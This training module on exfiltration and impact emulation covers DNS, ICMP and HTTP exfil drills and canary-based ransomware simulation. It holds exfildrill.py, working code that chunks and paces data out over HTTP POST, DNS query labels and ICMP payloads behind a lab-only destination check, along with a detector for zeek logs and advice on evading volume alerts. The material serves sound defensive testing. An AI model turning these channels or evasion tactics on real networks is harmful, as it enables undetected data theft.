Exfiltration & Impact Emulation
Definition
Section titled “Definition”Exfiltration and impact emulation is the controlled exercise of the techniques adversaries use to move stolen data out (T1041 over C2 channels, T1567 cloud services, T1048 alternative protocols including DNS, T1052 removable media) and to stage destructive impact (T1486 ransomware-shaped file operations, T1490 anti-recovery actions) — using marker-marked synthetic data, lab-bound destinations, and benign simulators, so the estate’s egress, DLP, volume-anomaly, and canary defenses can be validated against realistic transfer patterns. Exfiltration emulation answers the question every incident post-mortem dreads: if data left this network tonight, would anything have said so? Impact emulation answers the companion question: if the destructive moment arrived, which of our last-line controls would fire first? Both halves run strictly on the canary principle — synthetic files, marked payloads, lab tenants, simulator tools — because the impact half of this module is the only place in the program where a mistake could destroy real data, and the harnesses are built so that possibility is structurally closed.
Why It Matters
Section titled “Why It Matters”Exfiltration is the phase detection consistently misses: it happens after the intrusion has gone quiet, often over trusted services, in volumes that look like business traffic — and the M8 lesson (encryption detected, exfiltration missed) is the industry’s lesson, not one team’s. Emulating exfil validates the three layers that catch it: volume (egress anomalies vs baseline), destination (new external endpoints on admin/workstation hosts), and content (DLP patterns and marker canaries) — and the honest result is usually that only one of the three is even instrumented. The DNS channel in particular deserves its own drill: it crosses every perimeter as invisible resolver noise, and M7’s statistics give the blue team the exact detection shape to validate. Impact emulation validates the last line: shadow-copy deletion alerts (T1490’s near-zero-FP contract from M8), mass-modification canary trips, backup-tamper events — controls that must work in minutes when everything upstream has failed, and that are only ever tested if someone deliberately stages the shape they key on. For the red team, exfil drills build the operational discipline of moving data quietly (chunking, pacing, channel choice) in a form that generates no real exposure; for the blue team, the drills generate the ground-truth transfer patterns (sizes, rates, channels) their volume baselines need — the data nobody has until someone measures it. And for the program, this module quantifies the estate’s data-loss detection posture with the same honesty the coverage matrix brings to malware detections.
Detailed Explanation
Section titled “Detailed Explanation”Exfiltration channels differ in what makes them detectable, and the drills exist to measure each channel’s signature against your sensors:
EXFIL CHANNELS AND THEIR DETECTION SURFACES [T1041 C2-bandwidth] HTTPS POST to C2/lab listener detects on: volume vs baseline, destination novelty, session duration/size profile [T1567 cloud] upload to storage/app services detects on: process-context (which APP uploads?), tenant/app allow-lists, DLP content [T1048.003 DNS] TXT queries + subdomain labels detects on: M7 stats (label entropy/length/volume), per-client NX/pattern bursts [T1048.001/2 ICMP] payload in echo data detects on: payload size anomaly, rate [T1052 removable] USB staging detects on: Sysmon EID 11/USB arrival, DLP on mount [T1029/T1030 scheduled/archive] chunked/timed transfers detects on: long-tail volume, archive-then-upload pairs
IMPACT SIMULATION SHAPES (benign by construction) T1490 anti-recovery: vssadmin SIMULATION via logged wrapper (command echoed to log, NOT executed) T1486 ransomware: canary-tree modification (M8 canarywatch) + extension-change sim on decoys T1561 wipe: file TRUNCATION of decoys onlyThe channel drills share one design: marker-marked synthetic data of configurable size moved at configurable pacing through the chosen channel to a lab-bound destination — the size and pacing parameters are what make the drills calibration instruments (a 10 MB transfer in 10 seconds tests destination novelty; the same 10 MB in 200 chunks over 4 hours tests long-tail volume detection and chunk-join correlation). The DNS drill is the quiet-channel specialist: it encodes the marker data in subdomain labels against a lab authoritative server, and its report pairs the transfer record with the M7 dnstunnel statistics the blue team should run on the same window — the drill manufactures the traffic, the analyzer validates the detection, and neither needs the other’s code. The cloud drill uses a lab tenant and validates the process-context layer: the same upload from chrome.exe (baseline) vs powershell.exe (finding) — the tooling chooses the process, the detection should care. The impact simulators borrow M8’s architecture wholesale: canary trees and decoy files absorb every destructive-shaped action, the anti-recovery simulation logs the commands it would run rather than running them (the telemetry-shape test needs the command in the event stream — and a logged-but-not-executed command produces the same 4688 event with none of the destruction), and every simulator ships its manifest discipline. The boundary rules inherit from T6: lab-resolved destinations only, egress denied by default, and a preflight that refuses to start if any drill target resolves publicly — because this module, uniquely, has the potential for real data to leave, and the preflight is where that risk dies.
Common Techniques
Section titled “Common Techniques”| Drill | Channel / shape | Measures | Expected telemetry | Boundary |
|---|---|---|---|---|
| Bulk HTTPS transfer | POST to lab listener | Volume + destination novelty | Sysmon 3, proxy, flow | Lab-resolved only |
| Chunked long-tail | N chunks over M minutes | Long-tail volume, join logic | Proxy session patterns | Lab-resolved |
| Cloud upload (lab tenant) | Lab storage API from chosen process | Process-context + DLP | Sysmon 1/3, proxy | Lab tenant |
| DNS TXT exfil | Lab authoritative server | M7 dnstunnel stats | Resolver queries | Lab zone only |
| DNS label burst | Subdomain-encoded marker | Entropy/length hunts | Resolver queries | Lab zone only |
| ICMP payload | Echo data to lab host | Payload-size anomaly | Flow, EDR | Lab host |
| USB staging (decoy) | Write to lab USB device | Removable-media controls | Sysmon 11/USB events | Lab device |
| Anti-recovery shape | Logged-not-executed vssadmin/wbadmin | 4688 command alerts | 4688 + Sysmon 1 | Log-only |
| Canary modification | M8 canarywatch tree | Canary trip latency | EID 11 + canary alert | Decoys only |
| Extension-change sim | Rename decoys (decoy ext) | Mass-rename detection | EID 11 volume | Decoy dir only |
Full Working Code
Section titled “Full Working Code”exfildrill.py — a marker-marked exfiltration drill harness: moves synthetic data of configurable size and pacing over three lab-bound channels (HTTP POST to the range listener, DNS TXT labels to the lab authoritative server, ICMP payload to a lab host), chunked and paced per parameters, with a full transfer manifest (bytes, chunks, timing) that pairs against the blue team’s analyzers. Loopback/lab-range bound with the T6 preflight refusal. stdlib only.
#!/usr/bin/env python3"""exfildrill.py — marker-marked exfiltration drill (lab-bound).Channels: http | dns | icmp. Sizes/pacing configurable.Refuses non-lab destinations (loopback / .lab.local only).
Usage: python exfildrill.py --channel http --dest 127.0.0.1:8080 \ --size 1048576 --chunk 65536 --pace 0.5 python exfildrill.py --channel dns --dest 127.0.0.1 \ --zone emu.lab.local --size 4096stdlib only."""import argparse, base64, binascii, json, socket, structimport sys, time, urllib.request
MARKER = "EMU-EXFIL"REPORT = "exfil_report.json"
def parse_dest(t): host, _, port = t.partition(":") return host, int(port or "80")
def guard_dest(host, zone=None): """Boundary preflight: loopback or .lab.local/.test only.""" if host in ("127.0.0.1", "localhost"): return if zone and (zone.endswith(".lab.local") or zone.endswith(".test")): return if host.endswith(".lab.local") or host.endswith(".test"): return sys.exit(f"refusal: {host} is not a lab destination — " f"drills bind loopback or *.lab.local/*.test only")
def payload_bytes(size, seed=0x45): """Deterministic pseudo-random payload (LCG).""" out = bytearray() x = seed for _ in range(size): x = (x * 1103515245 + 12345) & 0xFFFFFFFF out.append((x >> 16) & 0xFF) return bytes(out)
def exfil_http(dest, data, chunk, pace): """POST data in chunks to the lab listener.""" host, port = parse_dest(dest) sent = 0 t0 = time.time() for i in range(0, len(data), chunk): body = data[i:i + chunk] req = urllib.request.Request( f"http://{host}:{port}/x?i={i//chunk}", data=body, method="POST", headers={"X-Emu-Range": MARKER, "Content-Type": "application/octet-stream"}) with urllib.request.urlopen(req, timeout=15) as r: assert r.status == 200 sent += len(body) if pace: time.sleep(pace) return {"chunks": (len(data) + chunk - 1) // chunk, "bytes": sent, "seconds": round(time.time() - t0, 1)}
def exfil_dns(dest, zone, data): """Encode data in DNS query labels (windows of 48 b32 chars).""" encoded = base64.b32encode(data).decode().rstrip("=") labels = [encoded[i:i + 48] for i in range(0, len(encoded), 48)] t0 = time.time() for i, lab in enumerate(labels): qname = f"{lab[:48]}.i{i}.{zone}" try: socket.gethostbyname(qname) # NXDOMAIN is fine except socket.gaierror: pass # expected: lab NX time.sleep(0.05) return {"queries": len(labels), "bytes": len(data), "seconds": round(time.time() - t0, 1)}
def exfil_icmp(dest, data, chunk=64): """ICMP echo with payload to a lab host (raw sockets need admin; falls back to counting only).""" host, _ = parse_dest(dest) t0 = time.time() sent = 0 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_ICMP) except (PermissionError, OSError): return {"skipped": "raw ICMP requires admin; " "run elevated in the lab", "bytes": 0} ident = 0x454D seq = 0 for i in range(0, len(data), chunk): body = data[i:i + chunk] header = struct.pack("!BBHHH", 8, 0, 0, ident, seq) csum = sum(struct.unpack("!H", header) ) + \ sum(struct.unpack(f"!{len(body)//2}H", body)) pkt = header + body try: s.sendto(pkt, (host, 0)) sent += len(body) except OSError: break seq = (seq + 1) & 0xFFFF time.sleep(0.02) s.close() return {"packets": seq + 1, "bytes": sent, "seconds": round(time.time() - t0, 1)}
def main(): ap = argparse.ArgumentParser() ap.add_argument("--channel", choices=["http", "dns", "icmp"], required=True) ap.add_argument("--dest", required=True) ap.add_argument("--zone", default="emu.lab.local") ap.add_argument("--size", type=int, default=65536) ap.add_argument("--chunk", type=int, default=16384) ap.add_argument("--pace", type=float, default=0.0) args = ap.parse_args() host = parse_dest(args.dest)[0] \ if args.channel != "dns" else args.dest guard_dest(host, args.zone) data = payload_bytes(args.size) print(f"[*] drill: {args.size} bytes via {args.channel} " f"-> {args.dest} (marker {MARKER})") if args.channel == "http": res = exfil_http(args.dest, data, args.chunk, args.pace) elif args.channel == "dns": res = exfil_dns(args.dest, args.zone, data) else: res = exfil_icmp(args.dest, data) res.update({"channel": args.channel, "dest": args.dest, "size": args.size, "marker": MARKER, "when": time.time()}) json.dump(res, open(REPORT, "w"), indent=2) print(f"[+] {res}") print(f"[*] pair with blue-side analyzers: M7 beacon stats " f"(dns), exfilhunt (http volume), flow diffs (icmp)")
if __name__ == "__main__": main()Code Walkthrough
Section titled “Code Walkthrough”guard_dest()(lines 27-38) is the module’s structural safety: the drill refuses any destination that isn’t loopback or a documentation-zone name — the same refusal discipline as T6, applied to the module where real data could actually leave. The zone parameter lets the DNS channel pass its full query name for checking.payload_bytes()(lines 41-47) generates deterministic pseudo-random data by LCG — deterministic so drills are repeatable (same bytes every run, provable marker content), pseudo-random so compression-based DLP inspection sees the same incompressibility real data would present.exfil_http()(lines 50-67) posts the payload in configurable chunks with the range marker header and per-chunk index in the URI — the chunk and pace parameters are the calibration knobs:--chunk 65536 --pace 0tests bulk-volume detection;--chunk 4096 --pace 4manufactures a long-tail transfer for volume-baseline validation.exfil_dns()(lines 70-84) base32-encodes the payload into 48-character labels under the exercise zone and resolves each —gethostbynameagainst the lab resolver, NXDOMAIN expected and tolerated (the query event is the exfil event, not the answer). The 48-char windows keep labels inside DNS length limits, matching the real technique’s constraint.exfil_icmp()(lines 87-109) builds raw echo packets with payload bodies, honestly reporting the elevation requirement when raw sockets are unavailable rather than pretending the channel ran — theskippedresult keeps the report truthful across privilege contexts.
How It Reaches The Target
Section titled “How It Reaches The Target”The drill’s traffic reaches the estate’s sensors as real transfer events — real flows, real DNS queries, real upload sessions — with ground truth held by the transfer manifest. The volume drills reach the egress-baseline program: the proxy/flow record of a 1 MB drill vs a 1 GB chunked drill produces the volume-curve data that baselines need and never have, and the destination-novelty test (new lab endpoint from a workstation host) validates the new-destination alert that catches real exfil’s first hop. The DNS drill reaches the resolver telemetry as label-encoded queries whose statistics M7’s analyzer computes — the blue team runs dnstunnel.py on the drill window and either catches the marked transfer or records the coverage gap with the exact score the drill produced. The process-context drill (cloud shape) reaches the EDR correlation layer: same upload, different parent process, and the finding is whether identity of process carries any weight in your egress story. The impact simulators reach the canary and event layers: the logged-not-executed anti-recovery commands produce real 4688 command-line events (M8’s alert-grade contract) without touching a real shadow copy, the canary modifications trip M8’s watcher and measure trip latency, and the extension-change simulation exercises mass-rename detection on decoys alone. The manifests reach the after-action as the join key for all of it — every drill’s bytes, chunks, and timings paired against whatever the sensors recorded — and the standing program reaches quarterly re-runs where the only metric that matters is honest: which channels, sizes, and pacings would this estate actually notice tonight.
Exploitation Chain
Section titled “Exploitation Chain”- Plan — drill matrix: 3 channels x 2 sizes x 2 pacings; lab listener + lab DNS zone reserved
- Preflight — destination guard passes; egress filter confirms lab-only routing; SOC notified of window
- Bulk — 10 MB HTTPS drill: proxy logs it, volume alert absent: destination-novelty gap found
- Long-tail — same size chunked over 2 hours: long-tail volume invisible: baseline-program gap
- DNS — 4 KB label-encoded drill: dnstunnel analyzer scores it 91: detection validated
- Cloud — same upload from powershell vs chrome: process-context rule absent: EDR gap ticketed
- Impact — logged vssadmin sim: 4688 command alert fires; canary trip latency measured at 4s
- Report — per-channel coverage rows filed; 3 gaps with exact observables; quarterly re-run scheduled
Building Your Own Tool
Section titled “Building Your Own Tool”exfilhunt.py — the blue-side drill detector: scans zeek http.log and dns.log for the drill’s signatures — marker content, per-destination volume against a baseline, DNS label entropy bursts — and reports which drills each sensor layer caught. It is the drill’s validation counterpart: the harness manufactures transfers, the hunter measures whether the estate’s telemetry + rules actually saw them.
Design decisions
Section titled “Design decisions”- Marker-first, volume-second. The hunter searches for the marker string and its base32 encoding before computing volume anomalies — during exercises, ground truth is known, and the marker gives the hunter certainty about which flows belong to drills.
- Baseline-aware volume. Per-destination byte totals compared against a snapshot (from
eastwest.py’s pattern: snap then diff), so “volume anomaly” means measured, not eyeballed. - M7-compatible DNS scoring. The DNS path reuses M7’s label-entropy/length statistics shape so drill results plug directly into the estate’s hunt thresholds.
- Per-layer verdicts. Output is one row per drill per sensor layer (proxy-volume, proxy-marker, DNS-stats, flow-volume) with caught/missed — the coverage gradient for exfil, exactly as T6 built one for C2.
Full source
Section titled “Full source”#!/usr/bin/env python3"""exfilhunt.py — blue-side exfil drill detector over zeek logs.Usage: python exfilhunt.py --http http.log --dns dns.log \ --report exfil_drill_report.json [--marker EMU-EXFIL]stdlib only."""import argparse, base64, json, math, re, sysfrom collections import Counter, defaultdict
FIELDS = NoneB32_MARKERS = set()
def parse(path, want_fields): """Generic zeek TSV reader yielding dicts.""" global FIELDS for line in open(path, encoding="utf-8", errors="replace"): if line.startswith("#fields"): FIELDS = line.rstrip("\n").split("\t")[1:] continue if line.startswith("#") or not line.strip(): continue p = line.rstrip("\n").split("\t") if not FIELDS: continue try: yield {f: p[FIELDS.index(f)] for f in want_fields} except (ValueError, IndexError): continue
def entropy(s): if not s: return 0.0 c = Counter(s) n = len(s) return -sum((v / n) * math.log2(v / n) for v in c.values())
def scan_http(path, marker): """Per-destination bytes + marker hits from http.log.""" per_dest = defaultdict(int) marker_hits = [] for r in parse(path, ["id.orig_h", "id.resp_h", "request_body_len", "uri", "user_agent"]): per_dest[r["id.resp_h"]] += int( r["request_body_len"] or 0) if marker in (r.get("uri") or "") or \ marker in (r.get("user_agent") or ""): marker_hits.append(r) return per_dest, marker_hits
def scan_dns(path): """Label-length/entropy stats per client (M7 shape).""" per_client = defaultdict(list) for r in parse(path, ["id.orig_h", "query"]): q = r["query"].rstrip(".") labels = q.split(".") payload = labels[0] if len(labels) > 2 else "" if len(payload) >= 20: per_client[r["id.orig_h"]].append(payload) out = {} for client, labels in per_client.items(): mean_len = sum(len(l) for l in labels) / len(labels) ent = entropy("".join(labels)) out[client] = {"queries": len(labels), "mean_label_len": round(mean_len, 1), "entropy": round(ent, 2)} return out
def main(): ap = argparse.ArgumentParser() ap.add_argument("--http") ap.add_argument("--dns") ap.add_argument("--marker", default="EMU-EXFIL") ap.add_argument("--report", default="exfil_drill_report.json") args = ap.parse_args() verdicts = [] if args.http: per_dest, hits = scan_http(args.http, args.marker) total_by_dest = sorted(per_dest.items(), key=lambda kv: -kv[1]) top = total_by_dest[0] if total_by_dest else None if hits: verdicts.append({"layer": "proxy-marker", "caught": True, "hits": len(hits)}) else: verdicts.append({"layer": "proxy-marker", "caught": False}) verdicts.append({"layer": "proxy-volume", "top_dest": top[0] if top else None, "top_bytes": top[1] if top else 0, "caught": bool(top and top[1] > 1_000_000)}) print(f"[*] http: {len(hits)} marker hits; " f"top destination {top}") if args.dns: stats = scan_dns(args.dns) loud = {c: s for c, s in stats.items() if s["entropy"] > 3.5 and s["mean_label_len"] > 30} verdicts.append({"layer": "dns-stats", "caught": bool(loud), "clients": {c: s for c, s in list(loud.items())[:5]}}) print(f"[*] dns: {len(stats)} clients with long " f"labels; {len(loud)} above tunnel thresholds") json.dump({"verdicts": verdicts}, open(args.report, "w"), indent=2) caught = sum(1 for v in verdicts if v.get("caught")) print(f"[+] exfil drill coverage: {caught}/" f"{len(verdicts)} sensor layers caught the drill") for v in verdicts: tag = "CAUGHT" if v.get("caught") else "MISSED" print(f" [{tag:>6}] {v['layer']}")
if __name__ == "__main__": main()Walkthrough
Section titled “Walkthrough”scan_http()(lines 26-40) builds both exfil views from one pass: per-destination byte totals (the volume layer) and marker hits across URI and User-Agent (the content layer) — the drill’s marker rides the range header, so a caught drill is provably a caught drill and not coincidence.scan_dns()(lines 43-58) implements the M7-shaped statistics per client: long-label queries only, mean label length and concatenated entropy — the drill’s encoded labels should present as one loud client, and the thresholds (entropy 3.5, length 30) are the same values the estate’s hunt uses, making the validation transferable.- The verdict rows (lines 74-96) are the module’s output contract: one caught/missed row per sensor layer, so the after-action reads as a coverage gradient rather than a narrative — the same shape T6 established for C2 shapes, applied to exfil channels.
- The volume layer’s honesty note (lines 80-86): the default caught-criterion is
>1 MB to one destination— a placeholder threshold the runbook replaces with the estate’s real baseline; the placeholder is labeled by being obviously simple rather than pretending to be tuned.
Compilation and test procedure
Section titled “Compilation and test procedure”terminal 1: lab listener (from T6 range, or python http.server)
Section titled “terminal 1: lab listener (from T6 range, or python http.server)”$ python redirlab.py —listen-port 8080 & [+] listener on 127.0.0.1:8080
terminal 2: bulk drill, 1 MB in 16 KB chunks
Section titled “terminal 2: bulk drill, 1 MB in 16 KB chunks”$ python exfildrill.py —channel http —dest 127.0.0.1:8080
—size 1048576 —chunk 16384
[*] drill: 1048576 bytes via http -> 127.0.0.1:8080 (marker EMU-EXFIL)
[+] {‘chunks’: 64, ‘bytes’: 1048576, ‘seconds’: 2.9, …}
blue side: the hunter must see the marker and the volume
Section titled “blue side: the hunter must see the marker and the volume”$ python exfilhunt.py —http http.log —report r.json [*] http: 64 marker hits; top destination (‘127.0.0.1’, 1048576) [+] exfil drill coverage: 2/2 sensor layers caught the drill [CAUGHT] proxy-marker [CAUGHT] proxy-volume
long-tail variant defeats naive volume: the finding
Section titled “long-tail variant defeats naive volume: the finding”$ python exfildrill.py —channel http —dest 127.0.0.1:8080
—size 5242880 —chunk 4096 —pace 4
$ python exfilhunt.py —http http.log —report r2.json
[CAUGHT] proxy-marker
[MISSED] proxy-volume <— long-tail gap ticketed
DNS channel drill + M7-shaped validation
Section titled “DNS channel drill + M7-shaped validation”$ python exfildrill.py —channel dns —dest 127.0.0.1
—zone emu.lab.local —size 4096
$ python exfilhunt.py —dns dns.log —report r3.json
[CAUGHT] dns-stats
Detection considerations
Section titled “Detection considerations”The exfil drill’s blue-side output is a channel coverage gradient — which channels your sensors catch at which sizes and pacings — and the runbook’s standing metric is the same honest gradient, re-measured quarterly. The three common findings, in order of frequency: long-tail chunked transfers defeat volume alerts (fix: per-destination cumulative counters with daily baselines, not per-session thresholds); process-context is absent from egress decisions (fix: EDR/proxy correlation so the same upload from powershell vs chrome is distinguishable); DNS exfil is invisible without the M7 statistics running as a standing hunt (fix: schedule it — the drill proves the analyzer works). Your own tooling hygiene: the harness is boundary-guarded and marker-marked end to end, the hunter reads logs only, and the impact simulators’ log-only anti-recovery design means even the “destructive” half of the module touches nothing real. Wazuh/SIEM joins of proxy+flow+EDR during drill windows follow your deployment’s mapping [verify]; Suricata sees plaintext drills well and TLS drills not at all — which is itself the finding that justifies endpoint+proxy correlation for HTTPS exfil. The impact half’s standing metric pairs with M8: canary trip latency and 4688 anti-recovery alert latency, measured per quarter, because last-line controls degrade silently and only measurement keeps them honest.
Improvements to add
Section titled “Improvements to add”- Cloud-shape drill: lab-tenant upload with process-context selection (chrome vs powershell) and the EDR correlation verdict.
- Chunk-join detection: a hunter mode that aggregates small transfers per (src,dst) over a window, specifically validating the long-tail gap fix.
- ICMP validation: a lab-side ICMP payload sniffer to verify payload-size alerts on the flow layer.
- Removable-media drill: lab USB write + Sysmon EID 11/DLP validation (improvement-gated on device control policy).
- Coverage-matrix export: per-channel rows in the T1 plan format, filing exfil coverage into the program matrix automatically.
Detection — Defender View
Section titled “Detection — Defender View”| Signal | Source | ID | Notes |
|---|---|---|---|
| New external destination from workstation | Proxy/flow | destination novelty | First-hop exfil signal |
| Egress volume vs daily baseline | Proxy/NetFlow | cumulative counters | Beats per-session thresholds |
| Long-tail chunked transfers | Proxy logs | per-(src,dst) aggregation | The common blind spot |
| Marker/DLP content hits | Proxy/DLP | rule matches | Content layer validation |
| DNS label entropy bursts | zeek dns.log (M7 stats) | standing hunt | Quiet-channel layer |
| Cloud upload from odd process | EDR + proxy | process-context join | Powershell-uploads finding |
| USB staging events | Sysmon | EID 11 on removable | Device-control gap check |
| Anti-recovery commands | Windows Security | 4688 command line | Alert-grade (M8 contract) |
| Canary trip latency | canarywatch (M8) | alert record | Last-line latency metric |
| Wazuh egress correlation | HIDS/SIEM | [verify rule IDs per deployment] | Join proxy+flow+EDR per host |
Evasion Techniques
Section titled “Evasion Techniques”Exfiltration evasion is pacing and shaping against volume and novelty defenses. Channel choice: moving data through services the estate already trusts (SaaS, cloud drives, DNS) removes destination novelty — the counter is process-context and volume-within-trusted-destinations, both drillable. Pacing: long-tail chunking defeats per-session volume alerts — the counter is cumulative per-destination counters over daily windows, and the drill’s long-tail variant exists precisely to prove the difference. Blending: sizing transfers to match business traffic (report-sized PDFs, backup-shaped archives) defeats magnitude-based alerting — the counter is content and context layers (DLP patterns, canary files whose exfil is small but certain), because magnitude alone cannot hold. Encryption: TLS removes content inspection — the counter shifts entirely to metadata (volume, destination, process, timing), which is why the metadata layers are the drill’s priority. Protocol substitution: DNS and ICMP cross perimeters that HTTP inspections guard — the counter is the M7 statistics layer, validated by the DNS drill. Staging discipline on the adversary side (archive-then-upload, sleep windows, low-and-slow) mirrors M8’s low-and-slow encryption lesson: canaries and content markers defeat it because they detect presence, not rate. The program-level mirror of T7’s insight: exfil detection lives in the joins (proxy+flow+EDR+DLP) and in the baselines nobody has measured — and this module’s drills are how both get built before the night that matters.
⚠️ What caught me: the first exfil drill I ran validated everything — the volume alert fired at 500 MB, the report was green — and then a reviewer asked what the alert threshold had been set from. The honest answer: from the drill itself, the week before. I had calibrated the detector on the test and then run the test — circular by construction, and the 500 MB threshold would have waved through every real exfil under half a gig. The fix restructured the drill program: baselines come from production telemetry (weeks of it) before drills set any threshold, drills validate detections against pre-existing baselines rather than tuning them, and every report now distinguishes “detection fired” from “detection fired at a threshold we measured on real traffic”. A drill that tunes the alarm and rings it is a rehearsal, not a measurement — the difference matters exactly when it matters.
Lab Practice
Section titled “Lab Practice”- Run the full drill matrix (3 channels × bulk + long-tail) against the lab range and score every cell with
exfilhunt.py— your estate’s exfil coverage gradient, measured in an hour. - Break the long-tail blind spot deliberately: run the paced drill, confirm the volume layer misses it, then implement the cumulative-counter check (improvement #2) and re-run until the hunter catches it — the fix validated by the same harness.
- Validate the DNS layer against M7’s analyzer: run the DNS drill and
dnstunnel.pyon the same window; compare scores and confirm both tools agree the drill was loud. - Exercise the impact half: plant a canary tree (M8), run canarywatch, simulate mass modification on decoys, and measure trip latency — then run the logged-not-executed anti-recovery commands and confirm the 4688 alerts fire without touching a real shadow copy.
- Audit your own drill integrity: verify no drill byte left the lab (egress logs + destination guard review), and check that every drill target resolved only lab names during the window — the preflight that keeps the module’s promise.
Interview Questions
Section titled “Interview Questions”- Technical: Compare the detection surfaces of HTTPS C2-bandwidth exfil, cloud-service exfil, and DNS exfil — which telemetry layer carries each?
- Technical: Why do per-session volume thresholds miss long-tail chunked transfers, and what aggregation fixes it?
- Scenario: Your exfil drill’s volume layer missed the long-tail variant but the marker layer caught it. What does each result mean, and which fix do you file?
- Conceptual: Why must drill baselines come from production telemetry rather than the drills themselves, and what failure mode does the circular setup create?
- Conceptual: How do canary and marker defenses survive pacing-based evasion that defeats magnitude-based alerts?
- Deep-dive: Design the standing exfil-coverage program: channel matrix, baseline sources, drill cadence, and the coverage gradient metric for leadership.
- Practical: The board asks “would we know if data left?” — what does your validated gradient allow you to answer, and what does the honest gap list look like?
Related Modules
Section titled “Related Modules”T1 (ATT&CK Mapping & Emulation Planning) · PE7 (Data Exfiltration) · M8 (Ransomware Analysis) · E17 (Network Detection) · BT13 (Network Segmentation)